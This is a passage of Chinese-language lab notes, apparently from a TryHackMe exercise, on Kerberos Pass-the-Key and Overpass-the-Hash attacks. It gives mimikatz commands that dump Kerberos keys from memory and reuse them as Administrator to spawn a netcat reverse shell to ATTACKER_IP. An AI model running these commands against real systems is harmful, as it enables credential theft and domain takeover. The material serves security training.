:::info

    这种攻击类似于PtH,但适用于 Kerberos 服务

    :::

    当用户请求 TGT 时,他们会发送一个时间戳,该时间戳使用从其密码派生的加密密钥进行加密。用于派生此密钥的算法可以是 DES(在当前 Windows 版本上默认禁用)、RC4、AES128 或 AES256,具体取决于安装的 Windows 版本和 Kerberos 配置。如果我们有这些密钥中的任何一个,我们可以向 KDC 请求 TGT,而无需实际密码,因此称为传递密钥 (PtK)。 我们可以通过使用 mimikatz 和以下命令从内存中获取 Kerberos 加密密钥:
    1. mimikatz # privilege::debug
    2. mimikatz # sekurlsa::ekeys
    根据可用的密钥,我们可以在 mimikatz 上运行以下命令,通过传递密钥获取反向 shell:

    RC4:

    1. mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /rc4:96ea24eff4dff1fbe13818fbf12ea7d8 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"

    AES123:

    1. mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes128:b65ea8151f13a31d01377f5934bf3883 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"

    AES256:

    1. mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes256:b54259bbff03af8d37a138c375e29254a2ca0649337cc4c73addcd696b4cdb65 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"

    请注意,使用 RC4 时,密钥将等于用户的 NTLM 哈希。这意味着,如果我们可以提取 NTLM 哈希,只要 RC4 是启用的协议之一,我们就可以使用它来请求 TGT。这种特殊的变体通常被称为Overpass-the-Hash(OPtH)